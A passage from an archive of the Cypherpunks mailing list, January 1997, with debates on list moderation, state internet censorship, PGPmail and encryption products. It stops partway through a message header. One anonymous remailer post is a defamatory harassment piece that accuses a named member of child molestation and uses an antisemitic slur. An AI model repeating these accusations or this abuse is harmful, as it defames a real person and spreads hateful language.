Content-Type: text/plain


At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
>> Singapore and China are blocking certain net groups. I think
>> this is a bad thing, question is how can we stop it?
>
>'We' shouldn't, it is their own country and it is up to their populace to
>stop it. Do you really want Singapore or China having a say in how we run
>our web? I certainly don't, and won't support any move to force any

Nonsense - the net doesn't "belong" to "Singapore or China" -
it's made up of the activies and property of many different people.
If some of those people don't like what other people are saying,
or reading, they've got no right to limit it, just because they've
got enough guns to call themselves "the government".
If they don't like something, they don't have to read it,
or they can send out their own counter-propaganda.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 23:49:50 -0800 (PST)
To: Toto <cypherpunks@toad.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260712.XAA10405@toad.com>
Message-ID: <199701260749.AAA25243@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701260712.XAA10405@toad.com>, on 01/25/97 
   at 11:03 PM, Toto <toto@sk.sympatico.ca> said:

+  I fail to see how any supposedly intelligent members of the 
+CypherPunks list can possibly be content to fall for the line,
+  "Bend over, baby. I'm only going to moderate you 'a little bit'."

    attila sez:

        no matter if one perceives the "need" for a moderator or not, I  
    find it hard to accept --even to eliminate the grossly obscene 
    attacks by a few members against other members. I wonder if we need 
    a 'childish' excluder? 

        I question how Sandy can accept the job as moderator, passing 
    judgement on 100-300 messages per day.  just trimming spam is 
    questionable: what is spam?  flames: what draws the line at flames: 

            personal attacks? 
            profanity? 
            politically [in]correct speach?  
            historical revisionism? 

        and, I think cypherpunks is setting an atrocious example of our 
    own narrow mindedness (creditable or not) when we sanction any 
    filtering of what we see --is this not **exactly** what we accuse 
    the controlled media of determining what is "fit to print?"

        unfortunately, we are demonstrating to our critics that 

        a)  net anarchy does not work
        b)  cyberlibertarianism breeds anarchy
        c)  we're loose cannons on the deck
        d)  we are not civilized enough to warrant respect

    and this can go on and on and on...  But, the minute we, as a group, 
    start to tell other members of the group to 'clean up your act' we 
    are violating the principal "ethic" which we claim: freedom.

        sure, we can claim we are entitled to total libertarianism, or 
    anarchy; but there is a responsibility to create a workable, 
    cooperative social order, if for no other reason than protecting us 
    in the wilderness, or feeding us, or clothing us.  anyone here wish 
    to return to survivalist modes of a head of household 200 years ago?

        we can have pure communism, the LDS Brotherhood, the Shaker 
    house, or even true anarchy where you may do anything you wish as 
    long as it does not infringe on the rights or property of another.
 
        --catch22: just how do set the laws on limits, and how do you 
    enforce the limits if you have voted to dissolve all 'government' 
    and 'police?'  

            when basic human ambition to better oneself 
            is literally killed...

        good luck, Sandy;  make sure you pull a sanity check everyday 
    when you start and finish the onerous task!

  ==
  "you may not be next,
    you may not be last,
      but you are too late to have been first.  
            --attila


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMusMbr04kQrCC2kFAQFXYgP/aK2vEs0skEaYNbwWiDXS+GcYKIRJ52/c
y87akjVm/d1U+LDheHN0cvFxHiMCNRCIJKKa7hHNr3AYDXzJtehthP/pi+L5NPTD
kYY58tUFy0p/t0hN4vze4i0wnxkymAVCnIVNkfGyAGwXytCxCmPUCHcV5ZzlYcI+
jrXv2nuBsos=
=ZTbB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 26 Jan 1997 05:18:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701261300.IAA02540@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May the self-admitted child molester possesses a 
rudimentary dick less than one inch long, half the size of his 
mother's clitoris, that barely makes a fistful. Thereby hangs 
the root of this Jew-hating sissy's sick fixation on little 
boys and Usenet forgeries.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >
      \ \--/ /
       ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 26 Jan 1997 08:40:43 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EB3666.62F8@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997, Toto wrote:

>   I think that anyone who thinks that moderation is, or could ever be,
> anything other than a dance into the arms of the establishment, is
> already crazy.

Apparently, Toto does not know very much about John or me or our 
relationships with the "Establishment."  It is who are using a
intellectually dishonest smokescreen of "freedom of speech" in 
order to disrupt and hamper the work of Cypherpunks who are 
dancing into the arms of the "Establishment."
 
>   For the record, I don't think that either John or Sandy is crazy.
> I think that they have their own pre-established goals which others
> on the cypherpunks list are not privy to.

I can't speak for John, but my goals have been stated too often
and too completely for anyone not to know them.  I want us all to
have privacy.  The Cypherpunks list was created to facilitate
discussion--and ultimately action by those who were inclined and 
able to do something to further that goal via the use of
cryptographic and other technologies.  I believe that childish
name-calling and personal attacks interferes with rational 
discourse and a spirit of common purpose and community.  

It is obvious to me that those who are waving the bloody flag of
"censorship" are doing so for either of two reasons.  The ones to
whom I am the most sympathetic are those who simply do not have
a clear and coherent understanding of rights in an anarchistic,
volunteeristic society.  

The ones for whom I have no sympathy are those whose obvious 
goal is disruption of the Cypherpunks list and who are hiding
behind a phoney interpretation of "free speech."

I think both of these groups are intellectually dishonest in the
extreme when it comes to telling others how this list should be
run.  I doubt any of them would permit the sort of disruptive
behavior that goes on here to go unchallenged in salons they
sponsor in their own homes or on Net lists that they themselves 
maintain.

This is a voluntary list folks.  We tried incivility and that did
not work.  Right now we are experimenting with reasoned discourse
in an atmosphere of interpersonal respect and good will.  If most
list members like the change, it will continue.  If not, then we
can go back to the swill or perhaps try something else.  In the
meantime, get over it.  If you really like flames and spam, show
John and me how it really should be done.  Start another list.  
Of course squating and claim jumping appeal to the lazy a lot
more than homesteading.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 26 Jan 1997 06:15:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Get Set for War/ American Dissident Voices
In-Reply-To: <cmtY86K00iWp05Wns0@andrew.cmu.edu>
Message-ID: <Pine.LNX.3.95.970126090919.7639G-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, J Durbin wrote:

> Aga <aga@dhp.com> wrote:
> 
> >You keep ALL of your replies to usenet, or ELSE!
> 
> Note recent, hypocritical, unsolicited email reply to a Usenet article
> from aga@dhp.com:
> 

That was not an adversarial reply.
It is the *adversarial* e-mail and/or complaints which are the 
prohibited and deemed legal "harassment," since the party "KNOWS" that
it is unwanted.

It is the "intent" that counts
> 
> Received: from proxy3.ba.best.com (root@proxy3.ba.best.com
> [206.184.139.14]) by shellx.best.com (8.8.4/8.8.3) with ESMTP id
> GAA25960 for <jed@shellx.best.com>; Sat, 18 Jan 1997 06:39:17 -0800
> (PST)
> Received: from dhp.com (dhp.com [199.245.105.1]) by proxy3.ba.best.com
> (8.8.4/8.8.3) with ESMTP id GAA04244 for <slothrop@poisson.com>; Sat,
> 18 Jan 1997 06:38:53 -0800 (PST)
> Received: from dhp.com (dhp.com [199.245.105.1]) by dhp.com
> (8.8.4/8.6.12) with SMTP id JAA05322; Sat, 18 Jan 1997 09:38:46 -0500
> Newsgroups: ne.internet.services,alt.fan.speedbump,alt.god.grubor
> Date: Sat, 18 Jan 1997 09:38:43 -0500 (EST)
> From: aga <aga@dhp.com>
> To: freedom-knights@jetcafe.org
> cc: "Dr. Grubor" <drgrubor@aol.com>, J Durbin <slothrop@poisson.com>
> Subject: Re: [Fwd: Re: Victory Party]
> In-Reply-To: <32E0D65F.7442@earthlink.net>
> Message-ID: <Pine.LNX.3.95.970118093420.3890K-100000@dhp.com>
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> 
> 
> Hey you fucker; you pay my expenses and I will come.
> You get a one hour lecture and one hour of questions and
> answers afterward.  Everybody gets frisked for guns at the door,
> since we do not trust some of those cypherpunks.
> 
> --
> jason durbin
> slothrop@poisson.com
> stop reading here <---
> 
> 

So, that was not an "adversarial" response, and therefore it was
permitted.  

aga administrator
UseNet Freedom Council





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gt@kdn0.attnet.or.jp (Gemini Thunder)
Date: Sun, 26 Jan 1997 01:25:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: DataETRsch
Message-ID: <32ed219a.200245212@kdn0.attnet.or.jp>
MIME-Version: 1.0
Content-Type: text/plain


Apparently intimidated by the response from the Cypherpunks
 list, DataETRsch has begun spamming mailing lists with ads for their
 UDCM/IMDMP Windows DLL. It reared its ugly head in
 linux-c-programming@vger.rutgers.edu today.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0B28.3F64CFA0@king1-28.cnw.com>
Message-ID: <yg851D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:
(a bunch of sensible stuff)
> .  Many individuals reside within a nation not because they favor its po
> litics, but because they feel more comfortable among their own kind than
> with strangers elsewhere - for example, Chinese who have lived in China all
> their lives (and whose ancestral roots are there) will wish to stay there
> and do what they can within the boundaries of that nation, rather than for
> instance moving to Canada, when the going gets rough.

Also many "un-freer" societies restrict the ability to emigrate, and many
"freer" society restrict the ability to immigrate. It's not so
easy for someone living in Communist China to pick up his ass and go
someplace else, like Taiwan. A large number of people got shot while
trying to cross the Berlin Wall. Plus if they do get out, they may
have difficulty going to countries like U.S. or Canada. (In case anyone
missed it, the U.S. is much more selective about who it lets in as
immigrants than it was earlier in the century.)

> It is true that individuals still live within the physical boundaries of
> "nations" which have formed in the past, and they still hold the concepts
> of these boundaries in their minds and they still identify closely with
> these, and they still vote problems upon themselves.   But it is becoming
> an anachronism, and it is becoming inaccurate to speak of "what
> Singaporians want for the internet".    This phrase would describe many of
> those who live in Singapore, but not all of them.   It is more accurate to
> speak of what  "individuals who use the internet" want, of what
>  "individuals who want to communicate" want, of what  "individuals who want
> to connect with others" want.
>
> The identifications of self as a citizen who must be identified with the
> vote of a majority, and consequently suffer the perception of oneself as
> someone who "voted to accept restrictions of the net, therefore should not
> be helped against it", is becoming irrelevant.   When a distress call goes
> out from someone anywhere on the planet, the assistance and relief may come
> from anyone anywhere who chooses to rally others and provide assistance.
>
> It is not the traditional "we" against "them", and it is not the "citizens
> of the US" helping those who "voted themselves a Hitler into power" or
> "voted themselves into restrictions against free speech".   It is "those of
> us who appreciate the liberty in communications technology" against "those
> who would take it away".

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their civilians
in retaliation for something their governments supposedly did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corelation
Message-ID: <94851D48w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Sat, 25 Jan 1997, Toto wrote:
>
> >   Has anyone actually 'seen' John Gilmore, lately? Since there
> > have been a number of postings indicating that the writer
> > 'used to respect' Gilmore, I am wondering if perhaps this
> > moderation experiment is not actually an attempt by someone
> > to discredit him.
>
> Well I saw John last night at the C2Net party, but I guess that's
> not much reassurance.  :-)

Let me rephrase Toto's question: has anyone with some credibility left
seen Gilmore lately?

(I last saw Gilmore in September. I'm trying to remember if he looked
like he lost weight. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 07:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260656.WAA10195@toad.com>
Message-ID: <uB951D49w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > paul@fatmans.demon.co.uk wrote:
>
> > >   It became rather glaringly obvious after moderation was announced
> > > that class structure would be the defining feature of moderation.
> > >   Those who felt themselves to be in the 'upper class' made no
> > > bones about it.
> >
> > That's a very insightful obeservation.
>
>   Obese-rvation? I hope you are not assuming that I am obese, just
> because I am responding to a post originating from
> 'fatmans.demon.co.uk.'
>   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> list because of assumptions of this nature.

It was obviously a typo - my apologies to Toto.
(Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
into cypherpunks-flames, while posting Toto's response to the censored list.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Sun, 26 Jan 1997 08:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DPT   Win 3.xx,  95,  NT   ENCRYPTION program
Message-ID: <199701261600.KAA04355@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <5cd7ki$52b@news.xs4all.nl> bernard@xs4all.nl Crypto wrote:
Newsgroups: comp.security.misc
* DPT   Win 3.xx,  95,  NT   ENCRYPTION program
* 
* DPT16 or DPT32  total encryption  Windows program.
* 
* Encrypt fast, Files, Dir, Floppys, e-mail, text or Messages .... 
* 
* Key up to 30 Kb,  Hide your encrypted data's in a picture file.
* Direct mail encryption,  Visit the  Data  Privacy  Tools home page.
* 
* at;      http://www.xs4all.nl/~bernard  

Bernard, thanks for an interesting post. I am Cc-ing your message to 
Cypherpunks mailing list which is ostensibly dedicated to discussions
of cryptography.

As follows from info on your home page, you do use simple XOR to
encrypt your data. It was not clear to me though, how do you generate
the keys to encrypt the data. I am sure that many readers of cypherpunks
mailing list will be interested, so please send a copy of your reply
to cypherpunks@toad.com.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 10:17:18 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
In-Reply-To: <3.0.32.19970126025513.006ba14c@ricochet.net>
Message-ID: <32EB9F84.227E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> Toto writes:

> >Has anyone actually 'seen' John Gilmore, lately?

> He was at C2Net's party last Friday night (1/24), being interviewed by some
> folks from a Japanese TV program.

It would be interesting if someone could show up at Gilmore's
press conferences to supply an alternative view of Gilmore himself.

Of course, those still clinging to the notion that Gilmore is working
for us might not be comfortable with this idea - biting the hand that
feeds, etc., but I think it could be a good way to keep the moderator
honest.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 10:30:23 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
Message-ID: <32EBA287.3309@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sun, 26 Jan 1997, Toto wrote:

> >   I think that anyone who thinks that moderation is, or could ever be,
> > anything other than a dance into the arms of the establishment, is
> > already crazy.

> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."  It is who are using a
> intellectually dishonest smokescreen of "freedom of speech" in
> order to disrupt and hamper the work of Cypherpunks who are
> dancing into the arms of the "Establishment."
[some snip]
> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will.  If most
> list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

Actually, it is a certifiable fact that the list subscribers can
jump to the unmoderated list whenever they want to.  It is also a
certifiable fact that they (97% or so) have *not* done so.

Because of these facts, I must conclude that either:

1. The subscribers have spoken by staying put, or,
2. The subscribers are so lazy and unaware of what's going on that
   they've just left things as is.

Now, in my opinion, we've come to this:  Some people here will hold
the optimistic view of the bulk of the subscribers, and others will
hold the pessimistic view (the bulk will presumably be in-between).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 26 Jan 1997 10:46:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [noise?] Media
Message-ID: <3.0.1.32.19970126103240.01f7e7f4@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


This was forwarded to me.  It was too good not to share...

>"Tonight on tales from Encrypt, we have a ghastly little story involving
>Congress and your Web page."

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:23:06 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701261725.JAA19049@toad.com>
Message-ID: <3.0.1.32.19970126105213.0065c600@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 1/26/97 -0600, Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
>stewart> Nonsense - the net doesn't "belong" to "Singapore or China" -
>
>The part of it that comes out of their pocketbook does. Just like the part of
>'the net' that I pay for belongs to me. The net is a bunch of computers,
>running software, hooked together over cables and other links. Each and
>EVERY ONE of these require installation, upkeep, repair, and utility
>support. This costs money. He who pays the money owns the net, everybody
>else is along for the ride.

For individuals, and voluntary groups of individuals, that's certainly true.
But what about taxpayers involuntarily paying for a network run by
bureaucrats -
does each individual have an equal right to decide what he/she will say
or read on the net, or are some individuals more equal than others?  And if
so, 
why is it the armed thugs who want to censor people who get to be more equal?

It's the usual insoluable problem about how to decide policy for
involuntarily-funded services - the government is morally obligated to
follow the wishes of everybody paying for them, which are in radical conflict.
It's bad enough with schools...  The Arpanet had its Acceptable Use Policy,
which limited speech on goverment-funded parts of the net to non-commercial
use;
one of main drivers behind the Commercial Internet Exchange was to
allow businesses to send each other email without being limited by it.

>ps I also support France's current attempt at forcing the Georgia university
>   web site on French soil to use French.

And then there's the French Telecom Monopoly (until it falls apart) -
if you don't like the rules the bureaucrats make for what you can say or read,
you're not even allowed to build your own telecom network or obtain services 
from providers who don't censor what you can say or read.

And I also don't support the French government's attempt at forcing its own
subjects on French soil to use French.  Asking them nicely, or running
propaganda
against Academically-incorrect French, is something the Academie can do itself.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 08:47:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701261712.LAA00406@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Jan 1997 03:28:53 -0800
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
> >> Singapore and China are blocking certain net groups. I think
> >> this is a bad thing, question is how can we stop it?
> >
> >'We' shouldn't, it is their own country and it is up to their populace to
> >stop it. Do you really want Singapore or China having a say in how we run
> >our web? I certainly don't, and won't support any move to force any
> 
> Nonsense - the net doesn't "belong" to "Singapore or China" -

The part of it that comes out of their pocketbook does. Just like the part of
'the net' that I pay for belongs to me. The net is a bunch of computers,
running software, hooked together over cables and other links. Each and
EVERY ONE of these require installation, upkeep, repair, and utility
support. This costs money. He who pays the money owns the net, everybody
else is along for the ride.

If we take your argument to its logical conclusion then once a box goes on
the net it belongs to nobody/everybody. Clearly utter nonsense.

If you really and truly believe that the net belongs to everyone and nobody
has a right to limit or otherwise control the hardware and software along
with the associated comm links they own and pay for then you obviously don't
understand what is going on.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com


ps I also support France's current attempt at forcing the Georgia university
   web site on French soil to use French.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:21:17 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <199701261710.JAA18785@toad.com>
Message-ID: <3.0.1.32.19970126111938.0065b868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
>Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
>http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
>Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
http://www.eudora.com/prodemo/.

PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.

Eudora Lite 3.0.1 also supports plugins, so it should work.
It also supports filters, which has allowed probable flames to
quietly vanish from my inbox :-)

BTW, from a non-government-user perspective, the questions asked to establish
export permission are nicely worded.  Rather than asking
"Are you a US Subject", and "Do you agree to follow every vague
detail of the Export Laws", as some sites do, it asks
> - Is the requesting computer located within the United States? [N/Y]
> - Do you acknowledge affirmatively that you understand that PGPmail is 
> subject to export controls under the Export Administration Act and 
> that you cannot export the software without a license? [N/Y]
> - Do you certify that you are not on any of the United States Government's 
> lists of export-precluded parties or otherwise ineligible to receive this 
> transfer of cryptographic software subject to export controls under the 
> Export Administration Act? 
and then has a button saying 
	"I certify that the above answers are truthful",
which is flexible enough that I don't have to feel bad about not being
_absolutely_ certain that my packets aren't getting routed through Canada,
or that I'm not on some list that bans telephone company employees from 
downloading cryptographic software on Tuesdays, or whether 
computers 30 feet above the US are subject to this week's export rules :-),
or having to say "No" to Question 2 because I understand that you _can_
export this software without a license (just do it) even though the Feds
disapprove....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 26 Jan 1997 08:35:45 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <3.0.32.19970125155133.00683d28@192.100.81.136>
Message-ID: <199701261631.LAA20392@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
| At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
| >
| >Paul Kocher announced that he has cracked it, and can recover data
| >quickly.  He is not publishing details of the break.
| 
| Why?

	Probably to make money.  Paul does do this for a living.  Even
if he hasn't cracked it, the ZIP protection mechanism is propreitary
and exportable.


Adam
 
-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 08:32:46 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: Cellular location...
In-Reply-To: <199701260655.WAA10130@toad.com>
Message-ID: <3.0.1.32.19970126113215.017ebcd8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:27 PM 1/25/97 -0800, Steve Schear wrote:
>>> Presented in a "this will help 911" context. Still disconcerting.
>>>
>>> [...]
>>> Companies working on the technology to track cellular phone calls
>>> have been given additional incentive with a Federal Communications
>>> Commission order that all cell phone service companies have location
>>> programs in place by the year 2001.
>>> [...]
>>
>
>Looks like this might create an opportunity for 'anonymous' cellular rentals.
>
>--Steve

Anonymous cellular accounts have been available in NYC for a year or so.  See any copy of the Post or the Daily News for the ads.  A similar service just started in Mexico City according to the NYT.  

You call the company and order the phone for circa $249.00 C.O.D.  This includes one hour of calls.  Subsequent hours are purchased for $36.  Not cheap but anonymous.  No roaming either.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuHDIVO4r4sgSPhAQFKjwQAoYOpb6t/L3/ah6yN7bMnwlTXX34q7yLC
ECW8R7QzZsvZoHd9LxwN38DrvHsCmyot+xWwF/Drixupen8ydJz9yXcmSpddeYM6
r8mmvQcA27YmNID6LF4iAh1Z7gqYu1iUyIaxEE6WhPN1cAEobJn9x3rFVV1dpouC
Y88L4vFRo+I=
=acJo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 26 Jan 1997 08:46:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail for Windows, Version 4.5
Message-ID: <3.0.1.32.19970126114551.0173b44c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at: http://www.eudora.com/prodemo/.

It is easy to use.  I just installed it and pointed it at my old pubring.pgp and secring.pgp files and went to work.  All my messages have been signed since then and some have been encrypted.  The installation program found my existing copies of Eudora and Netscape and installed the PGP add in without any fuss.

My only problem was finding the controls for the add in which (in the case of Eudora) consist of buttons to encrypt, sign, bring up the program, insert a copy of your key, and actually modify the message.  The controls only appear on the message create, and message read windows.

Easy to use.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuuKMYVO4r4sgSPhAQFfzAP+LkDjOecHxz0iEVVggLLABxAOE9tVyOLl
AIkKlagFqK+lBboo7fETCZtSpmDHcNsJG6Et6BWO5aYf7Artw+jXj+734c+w4RWj
zcj6+351LUqT60TmcukH02p2MT0sd8w1dAnhD8+o1E13G5h5N1CF/p6KQjmHOiQ6
9T1ehMax0jE=
=E8Pu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 09:27:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet, Countries, Nationalism, etc.
Message-ID: <199701261751.LAA00526@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

blanc has put forth an interesting assertion relating to nationalism and the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.

I agree with this assertion, which is why I hold that it is a waste of
bandwidth trying to 'control' the Internet or access thereof by citizens of
such countries as Singapore. Let them cut themselves off, it does us all a
service, and themselves a dis-service. If the citizens have as much
dissatisfaction as some members claim they will take care of it themselves.
When they get hungry for ideas, materials, and food they will change.

You can take a horse to water, you can't make him drink. You can drown him
however. Then you are walking, not riding.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 11:54:12 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
